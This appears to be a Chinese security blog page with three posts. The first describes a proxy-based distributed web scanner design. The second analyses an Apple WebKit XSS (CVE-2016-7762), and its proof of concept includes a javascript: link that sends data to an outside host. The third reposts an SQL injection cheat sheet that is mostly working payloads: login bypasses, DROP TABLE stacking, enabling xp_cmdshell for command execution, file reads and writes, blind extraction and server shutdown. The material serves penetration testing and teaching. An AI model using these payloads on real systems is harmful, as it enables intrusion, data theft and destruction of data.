一个简单的分布式WEB扫描器的设计与实践

0x00 前言

作为一个安全从业人员,在平常的工作中总是需要对一些web系统做一些安全扫描和漏洞检测从而确保在系统上线前尽可能多的解决了已知的安全问题,更好地保护我们的系统免受外部的入侵和攻击。而传统的web安全检测和扫描大多基于web扫描器,而实际上其是利用爬虫对目标系统进行资源遍历并配合检测代码来进行,这样可以极大的减少人工检测的工作量,但是随之而来也会导致过多的误报和漏报,原因之一就是爬虫无法获取到一些隐藏很深的系统资源(比如:URL)进行检测。在这篇文章里,笔者主要想和大家分享一下从另一个角度来设计web扫描器从而来解决开头所提到的问题。

0x01 设计

在开始探讨设计之前,我们首先了解一下web漏洞检测和扫描的一般过程和原理。通常我们所说的web漏洞检测和扫描大致分为2种方式:

  • web扫描器:主要利用扫描器的爬虫获取目标系统的所有URL,再尝试模拟访问这些URL获取更多的URL,如此循环,直到所有已知的URL被获取到,或者利用已知字典对目标系统的URL进行暴力穷举从而获取有效的URL资源;之后对获取的URL去重整理,利用已知漏洞的检测代码对这些URL进行检测来判断目标系统是否存在漏洞
  • 人工检测:通过设置代理(如:burp)来截获所有目标系统的访问请求,然后依据经验对可能存在问题的请求修改参数或者添加检测代码并重放(如:burp中的repeat功能)从而判断目标系统是否存在漏洞

对比上面的2种方式,我们可以发现web扫描器可以极大的减少人工检测的工作量,但是却因为爬虫的局限性导致很多事实上存在的资源不能被发现容易造成就误报和漏报;而人工检测可以很好的保证发现漏洞的准确性和针对性,但是却严重依赖于检测人员的经验和时间,尤其是大型系统很难在有限的时间内完成检测,同样会造成漏报。那么,如果能有效地利用扫描器的处理速度以及人工的精准度的话,是不是就可以很好地解决前面的问题了呢?

下面让我们来深究一下两者的各自优势,前者自动化程度高不需要过多的人为干预,后者因为所有请求均来自于真实的访问准确度高。我们不禁思考一下,如果我们有办法可以获取到所有的真实请求(包括:请求头,cookie,url,请求参数等等)并配合扫描器的检测代码是不是更加有针对性且有效地对系统进行漏洞检测呢?

我们设想一下,如果有这样一个系统可以在用户与系统之前获取到所有的请求,并分发给扫描器进行检测,这样只要请求是来自于真实的应用场景或者系统的功能那么就可以最大程度地收集到所有真实有效的资源。故可以设计该系统包含如下的子模块:

  • 客户端:用户访问系统的载体,如:浏览器,手机APP
  • 代理:用于获取来自于客户端的所有请求,如:Burp,Load Balancer
  • 解析器:负责将代理获取的请求数据按照规定格式解析并插入至请求数据库中
  • 请求数据库:用于存放代理获取的所有请求数据以及解析器和扫描器的配置信息
  • 扫描器:具有漏洞检测功能的扫描器,如:自行编写的定制扫描器(hackUtils),SQLMAP,Burp Scanner,WVS,OWASP ZAP等
  • 应用系统:目标应用系统,如: Web系统,APP

基本架构如下:

从上图的设计中,我们可以利用代理将所有访问目标系统的请求获取并存储在一个统一的数据库中,然后将这些真实产生的请求分发给不同的扫描器(比如:常见的OWASP Top10的漏洞,已披露的常见框架或者中间件漏洞等)进行检测。上述设计是高度解耦合地并且每个子模块都是只负责自己的功能相互之间并不干扰,且仅通过中心数据库关联起来,因此我们可以通过设置多个代理和扫描器地随意组合来实现分布式地批量检测。

这种设计架构可以很方便地进行扩展和应用, 例如:

  • 对于漏洞检测或者安全测试人员,我们只需要在本地设置好代理(如:burp),然后在浏览器或者移动APP中正常地访问或者测试应用的每一个页面和功能,接下来的漏洞检测工作就完全交给了扫描器去做,这将极大地节约了时间和避免了大量重复的手工检测的工作量
  • 对于企业系统,我们可以将代理设置在应用前端(如:load balancer),这样所有的请求将会被自动镜像在扫描数据库,并自动分发给多个扫描引擎进行检测,无需手工干预即可发现很多隐藏很深的漏洞

0x02 实践

俗语说的好,“Talk is cheap, show me the code”! 是的,为了更好地了解这种设计思路的好处,笔者设计了一个Demo系统。该系统利用了burp作为代理,当我们在浏览器或者手机的wifi中配置好了代理服务器,漏洞检测的工作将会简化成简单地浏览应用的每一个页面和功能,代理将会自动地收集产生的所有请求数据(包括,各种请求头,cookie,请求方法,请求数据等)然后通过解析器的解析并存储于中央数据库,然后再分发于多个扫描引擎对请求的所有可控输入点进行repeat检测。

效果如下:

以下是我封装的一个python的requests库,它支持发送自定义的cookie,headers的get/post的请求,并可以是使用PhantomJS引擎去解析和渲染GET请求响应的页面中的javascript,css等,可以非常方便的应用于反爬虫和DOM型XSS的检测。

Code:https://github.com/brianwrf/HackRequests

0x03 思考

从漏洞检测的角度来说,经过笔者的测试(以DVWA和WebGoat为例)检测效果还是非常明显和有效的。其实这种类似的设计,很早之前就已经有人做了,那么很多人要问了为什么你还要在重复造个轮子呢?其实原因有以下几点:

  • 系统耦合性较强,不利于进行扩展和改造
  • 在HTTPS的流量捕获上支持的不是很好
  • 没有做到对HTTP请求中所有的可控输入点进行检测,例如,仅仅检测GET/POST数据,而对cookie,user-agent, referer等缺乏检测
  • 缺乏对于DOM的渲染和解析,容易造成对于基于DOM的漏洞的漏报,比如:DOM型的XSS等
  • 不具备分布式部署的能力,无法有效利用分布式处理的优点来提高检测效率
  • 不具备真正的意义上的repeat检测能力,换句话说不能完全模拟用户的请求

当然,上述的设计也存在一些待解决的问题,比如:

  • 若将代理部署至应用前端镜像所有请求,再分发至扫描引擎检测,如何防止真实用户数据泄漏和篡改?可能的解决方案是设置例外,对于敏感字段或者请求进行例外处理。

写在最后

Anyway, 新系统的设计无非是汲取前人的智慧加以优化再为后人铺路,解决问题才是考验系统能力的关键!后续我会继续努力改进其不足,让其更加易于使用!

补充

该项目现已开源,项目地址:https://github.com/brianwrf/NagaScan

注:如觉得有意思想转载的话,请注明出处,尊重知识产权,从你我开始,谢谢!

一个有意思的Apple XSS(CVE-2016-7762)的 分析与思考

原创发于先知论坛:https://xianzhi.aliyun.com/forum/read/755.html

0x00 前言

应CVE作者的要求帮忙分析一下这个漏洞,实际上这是一个思路比较有意思的Apple XSS(CVE-2016-7762)。漏洞作者确实脑洞比较大也善于尝试和发掘,这里必须赞一个!

0x01 分析与利用

官方在2017年1月24日发布的安全公告中如下描述:

  • 可利用设备:iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later
  • 漏洞影响:处理恶意构造的web内容可能会导致XSS攻击
  • 漏洞描述:Safari在显示文档时产生此漏洞,且该漏洞已通过修正输入校验被解决了

那么,该漏洞真的如安全公告中所描述的那样被解决了吗?实际上,结果并非如此。

在分析之前,首先先了解一下这到底是个什么漏洞。

POC:

  • 创建一个文档文件,比如:
    • Word文件(docx)
    • PPT文件(pptx)
    • 富文本文件(rtf)
  • 添加一个超链接并插入JS脚本,如:
    • javascript:alert(document.domain);void(0)
    • javascript:alert(document.cookie);void(0)
    • javascript:alert(location.href);void(0)
    • javascript:x=new Image();x.src=”http://i0f.in/authtest.php?id=OAsMdS&info=”;
  • 上传文件至web服务器然后在Apple设备上使用如下应用打开,如:
    • Safari
    • QQ Browser
    • Firefox Browser
    • Google Browser
    • QQ客户端
    • 微信客户端
    • 支付宝客户端
  • 点击文档文件中的超链接,上述JS脚本将会被执行从而造成了XSS漏洞

效果图如下:


回顾一下上面的POC,发现其实该漏洞不仅仅存在于Safari中而是普遍存在于使用了WebKit的APP中。

我们都知道,iOS APP要想像浏览器一样可以显示web内容,那么就必须使用WebKit。这是因为WebKit提供了一系列的类用于实现web页面展示,以及浏览器功能。而其中的WKWebView(或者UIWebView)就是用来在APP中显示web内容的。而当我们使用Safari或者使用了WebKit的APP去打开一个URL时,iOS就会自动使用WKWebView/UIWebView来解析和渲染这些页面或者文档。当受害人点击web服务器上的文档中的链接时,就会导致超链接中插入的javascript脚本被执行从而造成了XSS。这是因为WKWebView/UIWebView在解析和渲染远程服务器上的文档文件时并没有对文档中内嵌的内容做很好的输入校验导致的。

该漏洞单从利用的角度来说还是比较鸡肋的,因为漏洞的触发必须依赖于用户点击文档中的超链接,笔者可以想到的可能的利用场景如下:

  • 攻击者上传了一个包含了恶意JS的超链接(比如:个人博客链接)的Word文件(比如:个人简历)至招聘网站
  • 受害者(比如:HR或者猎头)登录招聘网站且使用iPhone或者iPad上的Safari在线打开该简历中的“博客链接”,那么此时攻击者很可能就成功获取了受害者的该网站cookie之类的信息

0x02 思考

这个XSS漏洞本身其实并没有太多的技术含量或者技巧,但是在挖掘思路上却是很有意思且值得思考的。漏洞作者并没有将利用js直接插入至web页面本身,而是巧妙地利用了某些文档中的超链接绕过了WebKit的输入校验。这也从一定程度上再次阐释了web安全中一个最基本的原则即“所有输入都是不安全的”,不管是直接输入或者是间接输入。我们在做应用或者产品的安全设计时最好能够确认各种信任边界以及输入输出,且做好校验过滤以及必要的编码,这样才能有效的防范这种间接输入导致的漏洞。

0x03 参考

https://support.apple.com/en-us/HT207422

https://developer.apple.com/reference/webkit

https://developer.apple.com/reference/webkit/wkwebview

https://developer.apple.com/reference/uikit/uiwebview

【转载】SQL Injection Cheat Sheet

Original Link: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

What is an SQL Injection Cheat Sheet?

An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability. This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security.

About the SQL Injection Cheat Sheet

This SQL injection cheat sheet was originally
published in 2007 by Ferruh Mavituna on his blog. We have updated it and
moved it over from our CEO’s blog.
Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL
servers. Some of the samples in this sheet might not work in every
situation because real live environments may vary depending on the usage
of parenthesis, different code bases and unexpected, strange and
complex SQL sentences. 

Samples are provided to allow you to get
basic idea of a potential attack and almost every section includes a
brief information about itself.

M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
  • (MS) means : MySQL and SQL Server etc.
  • (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server

Table Of Contents

  1. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    2. Inline Comments

    3. Stacking Queries

    4. If Statements

    5. Using Integers
    6. String Operations

    7. Strings without Quotes

    8. String Modification & Related
    9. Union Injections

    10. Bypassing Login Screens
    11. Enabling xp_cmdshell in SQL Server 2005
    12. Finding Database Structure in SQL Server
    13. Fast way to extract data from Error Based SQL Injections in SQL Server
    14. Blind SQL Injections
    15. Covering Your Tracks
    16. Extra MySQL Notes
    17. Second Order SQL Injections
    18. Out of Band (OOB) Channel Attacks

Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

Ending / Commenting Out / Line Comments

Line Comments

Comments out rest of the query. 
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

  • — (SM) 
    DROP sampletable;– 

  • # (M) 
    DROP sampletable;#
Line Comments Sample SQL Injection Attacks
  • Username: admin’–
  • SELECT * FROM members WHERE username = ‘admin’–‘ AND password = ‘password’ 
    This is going to log you as admin user, because rest of the SQL query will be ignored.

Inline Comments

Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

  • /*Comment Here*/ (SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/*bypass blacklisting*/sampletable
    • SELECT/*avoid-spaces*/password/**/FROM/**/Members
  • /*! MYSQL Special SQL */ (M) 
    This is a special
    comment syntax for MySQL. It’s perfect for detecting MySQL version. If
    you put a code into this comments it’s going to execute in MySQL only.
    Also you can use this to execute some code only if the server is higher
    than supplied version. 

    SELECT /*!32302 1/0, */ 1 FROM tablename

Classical Inline Comment SQL Injection Attack Samples
  • ID: 10; DROP TABLE members /* 
    Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members —
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw an divison by 0 error if MySQL version is higher than3.23.02
MySQL Version Detection Sample Attacks
  • ID: /*!32302 10*/
  • ID: 10 
    You will get the same response if MySQL version is higher than 3.23.02
  • SELECT /*!32302 1/0, */ 1 FROM tablename 
    Will throw a division by 0 error if MySQL version is higher than3.23.02

Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

  • ; (S) 
    SELECT * FROM members; DROP members–

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Injection Cheat sheet

About MySQL and PHP; 
To clarify some issues; 
PHP – MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (I’m sure for ORACLE, not quite sure about other databases). Normally
MySQL supports stacked queries but because of database layer in most of
the configurations it’s not possible to execute a second query in
PHP-MySQL applications or maybe MySQL client supports this, not quite
sure. Can someone clarify?

Stacked SQL Injection Attack Samples
  • ID: 10;DROP members —
  • SELECT * FROM products WHERE id = 10; DROP members–

This will run DROP members SQL sentence after normal SQL Query.

If Statements

Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly andaccurately.

MySQL If Statement

  • IF(condition,true-part,false-part) (M) 
    SELECT IF(1=1,’true’,’false’)

SQL Server If Statement

  • IF condition true-part ELSE false-part (S) 
    IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Oracle If Statement

  • BEGIN
    IF condition THEN true-part; ELSE false-part; END IF; END; (O) 
    IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If Statement

  • SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P) 
    SELECT CASE WEHEN (1=1) THEN ‘A’ ELSE ‘B’END;
If Statement SQL Injection Attack Samples

if ((select user) = ‘sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S) 
This will throw an divide by zero error if current logged user is not “sa” or “dbo”.

Using Integers

Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

  • 0xHEXNUMBER (SM) 
    You can  write hex like these; 

    SELECT CHAR(0x66) (S) 
    SELECT 0x5045 (this is not an integer it will be a string from Hex) (M) 
    SELECT 0x50 + 0x45 (this is integer now!) (M)

String  Operations

String related operations. These can be quite useful to build up
injections which are not using any quotes, bypass any other black
listing or determine back end database.

String Concatenation

  • + (S) 
    SELECT login + ‘-‘ + password FROM members
  • || (*MO) 
    SELECT login || ‘-‘ || password FROM members

*About MySQL “||”; 
If MySQL is running in ANSI
mode it’s going to work but otherwise MySQL accept it as `logical
operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.

  • CONCAT(str1, str2, str3, …) (M) 
    Concatenate supplied strings. 
    SELECT CONCAT(login, password) FROM members

Strings without Quotes

These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

  • 0x457578 (M) – Hex Representation of string 
    SELECT 0x457578 
    This will be selected as string in MySQL. 

    In MySQL easy way to generate hex representations of strings use this; 
    SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • Using CONCAT() in MySQL 
    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) 
    This will return ‘KLM’.
  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) 
    This will return ‘KLM’.
  • SELECT CHR(75)||CHR(76)||CHR(77) (O) 
    This will return ‘KLM’.
  • SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) 
    This will return ‘KLM’.

Hex based SQL Injection Samples

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) 
    This will show the content of c:\boot.ini

String Modification & Related

  • ASCII() (SMP) 
    Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections. 

    SELECT ASCII(‘a’)

  • CHAR() (SM) 
    Convert an integer of ASCII. 

    SELECT CHAR(64)

Union Injections

With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members 
This will combine results from both news table and members table and return all of them.

Another Example: 
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

UNION – Fixing Language Issues

While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. It’s rare but if you dealing with Japanese, Russian, Turkish etc. applications then you will see it.

  • SQL Server (S) 
    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one – check out SQL Server documentation

    SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • MySQL (M) 
    Hex() for every possible issue

Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks

  • admin’ —
  • admin’ #
  • admin’/*
  • ‘ or 1=1–
  • ‘ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–
  • ….
  • Login as different user (SM*) 
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL doesn’t support union queries

Bypassing second MD5 hash check login screens

If application is first getting the record by username and then
compare returned MD5 with supplied password’s MD5 then you need to some
extra tricks to fool application to bypass authentication. You can union
results with a known password and MD5 hash of supplied password. In
this case application will compare your password and your supplied MD5
hash instead of MD5 from database.

Bypassing MD5 Hash Check Example (MSP)

Username :admin’ AND 1=0 UNION ALL SELECT ‘admin’, ’81dc9bdb52d04dc20036dbd8313ed055′
Password :1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

Error Based – Find Columns Names

Finding Column Names with HAVING BY – Error Based (S)

In the same order,

  • ‘ HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 —
  • ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — and so on
  • If you are not getting any more error then it’s done.

Finding how many columns in SELECT query by ORDER BY (MSO+)

Finding column number by ORDER BY can speed up the UNION SQL Injection process.

  • ORDER BY 1–
  • ORDER BY 2–
  • ORDER BY N– so on
  • Keep going until get an error. Error means you found the number of selected columns.

Data types, UNION, etc.

Hints,

  • Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.
  • To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.
  • Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.

    • Be careful in Blind situtaions may you can understand error is
      coming from DB or application itself. Because languages like ASP.NET
      generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)

Finding Column Type

  • ‘ union select sum(columntofind) from users— (S) 
    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ 
    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. 

    If you are not getting an error it means column is numeric.

  • Also you can use CAST() or CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null,
      null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL,
      NULL, NULL, NULL, NULL, NULl, NULL–
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – Syntax is right. MS SQL Server Used. Proceeding.
  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
    No Error – First column is an integer.
  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 — 
    Error! – Second column is not an integer.
  • 11223344) UNION SELECT 1,’2′,NULL,NULL WHERE 1=2 –- 
    No Error – Second column is a string.
  • 11223344) UNION SELECT 1,’2′,3,NULL WHERE 1=2 –- 
    Error! – Third column is not an integer. … 

    Microsoft OLE DB Provider for SQL Server error ‘80040e07’ 
    Explicit conversion from data type int to image is not allowed.

You’ll get convert() errors before union target errors ! So start with convert() then union

Simple Insert (MSO+)

‘; insert into users values( 1, ‘hax0r’, ‘coolpass’, 9 )/*

Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

@@version (MS) 
Version of database and more
details for SQL Server. It’s a constant. You can just select it like any
other column, you don’t need to supply table name. Also, you can use
insert, update statements or in functions.

INSERT INTO members(id, user, pass) VALUES(1, ”+SUBSTRING(@@version,1,10) ,10)

Bulk Insert (S)

Insert a file content to a table. If you don’t know internal path of web application you can read IIS (IIS 6 only) metabase file(%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.

    1. Create table foo( line varchar(8000) )
    2. bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’
    3. Drop temp table, and repeat for another file.

BCP (S)

Write text file. Login Credentials are required to use this function. 
bcp “SELECT * FROM test..foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS, WSH in SQL Server (S)

You can use VBS, WSH scripting in SQL Server because of ActiveX support.

declare @o int 
exec sp_oacreate ‘wscript.shell’, @o out 
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ 
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ — 

Executing system commands, xp_cmdshell (S)

Well known trick, By default it’s disabled in SQL Server 2005. You need to have admin access.

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Simple ping check (configure your firewall or sniffer to identify request before launch it),

EXEC master.dbo.xp_cmdshell ‘ping ‘

You can not read results directly from error or union or something else.

Some Special Tables in SQL Server (S)

  • Error Messages 
    master..sysmessages
  • Linked Servers 
    master..sysservers
  • Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm 
    SQL Server 2000: masters..sysxlogins 
    SQL Server 2005 : sys.sql_logins 

More Stored Procedures for SQL Server (S)

  1. Cmd Execute (xp_cmdshell
    exec master..xp_cmdshell ‘dir’
  2. Registry Stuff (xp_regread

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite 
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ 
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’
  3. Managing Services (xp_servicecontrol)
  4. Medias (xp_availablemedia)
  5. ODBC Resources (xp_enumdsn)
  6. Login mode (xp_loginconfig)
  7. Creating Cab Files (xp_makecab)
  8. Domain Enumeration (xp_ntsec_enumdomains)
  9. Process Killing (need PID) (xp_terminate_process)
  10. Add new procedure (virtually you can execute whatever you want
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ 
    exec xp_webserver
  11. Write text file to a UNC or an internal path (sp_makewebtask)

MSSQL Bulk Notes

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() 
IS_MEMBER (Transact-SQL)  
IS_SRVROLEMEMBER (Transact-SQL)  
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You can not use sub selects in SQL Server Insert queries.

SQL Injection in LIMIT (M) or ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,’x’/*,10 ;

If injection is in second limit you can comment it out or use in your union injection

Shutdown SQL Server (S)

When you’re really pissed off, ‘;shutdown —

Enabling xp_cmdshell in SQL Server 2005

By default xp_cmdshell and couple of other potentially dangerous
stored procedures are disabled in SQL Server 2005. If you have admin
access then you can enable these.

EXEC sp_configure ‘show advanced options’,1 
RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 
RECONFIGURE

Finding Database Structure in SQL Server (S)

Getting User defined Tables

SELECT name FROM sysobjects WHERE xtype = ‘U’

Getting Column Names

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)

Moving records (S)

  • Modify WHERE and use NOT IN or NOT EXIST
    … WHERE users NOT IN (‘First User’, ‘Second User’) 
    SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) — very good one
  • Using Dirty Tricks 
    SELECT * FROM Product WHERE ID=2 AND
    1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM
    sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p
    where p.x=3) as int 

    Select p.name from (SELECT
    (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=’U’ and
    i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = ‘U’) as p
    where p.x=21

 

Fast way to extract data from Error Based SQL Injections in SQL Server (S)

‘;BEGIN DECLARE @rt varchar(8000) SET @rd=’:’ SELECT @rd=@rd+’
‘+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
‘MEMBERS’) AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;–

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)

Getting User defined Tables

SELECT table_name FROM information_schema.tables WHERE table_schema = ‘tablename’

Getting Column Names

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = ‘tablename’

Finding Database Structure in Oracle (O)

Getting User defined Tables

SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Getting Column Names

SELECT * FROM all_col_comments WHERE TABLE_NAME = ‘TABLE’

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based
attacks. You have to do use Blind SQL Injections attacks to extract
data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code 
Totally Blind,
You can not see any difference in the output in any kind. This can be
an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample

This output taken from a real private Blind SQL Injection tool while
exploiting SQL Server back ended application and enumerating table
names. This requests done for first char of the first table name. SQL
queries a bit more complex then requirement because of automation
reasons. In we are trying to determine an ascii value of a char via
binary search algorithm.

TRUE and FALSE flags mark queries returned true or false.

TRUE : SELECT ID, Username, Email FROM
[User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM
sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM
sysObjects WHERE xtYpe=0x55)),1,1)),0)>78– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)>103– 

TRUE : SELECT
ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83– 

TRUE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0) 
FALSE : SELECT ID, Username,
Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1
name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name
FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80– 

FALSE :
SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE
xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE
xtYpe=0x55)),1,1)),0)

Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`.
This is the way to exploit Blind SQL injections by binary search
algorithm. Other well-known way is reading data bit by bit. Both can be
effective in different conditions.

 

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it’s really blind, otherwise just use 1/0
style errors to identify difference. Second, be careful while using
times more than 20-30 seconds. database API connection or script can be
timeout.

WAIT FOR DELAY ‘time’ (S)

This is just like sleep, wait for specified time. CPU safe way to make database wait.

WAITFOR DELAY ‘0:0:10’–

Also, you can use fractions like this,

WAITFOR DELAY ‘0:0:0.51’

Real World Samples

  • Are we ‘sa’ ? 
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’
  • ProductID = 1;waitfor delay ‘0:0:10’–
  • ProductID =1);waitfor delay ‘0:0:10’–
  • ProductID =1′;waitfor delay ‘0:0:10’–
  • ProductID =1′);waitfor delay ‘0:0:10’–
  • ProductID =1));waitfor delay ‘0:0:10’–
  • ProductID =1′));waitfor delay ‘0:0:10’–

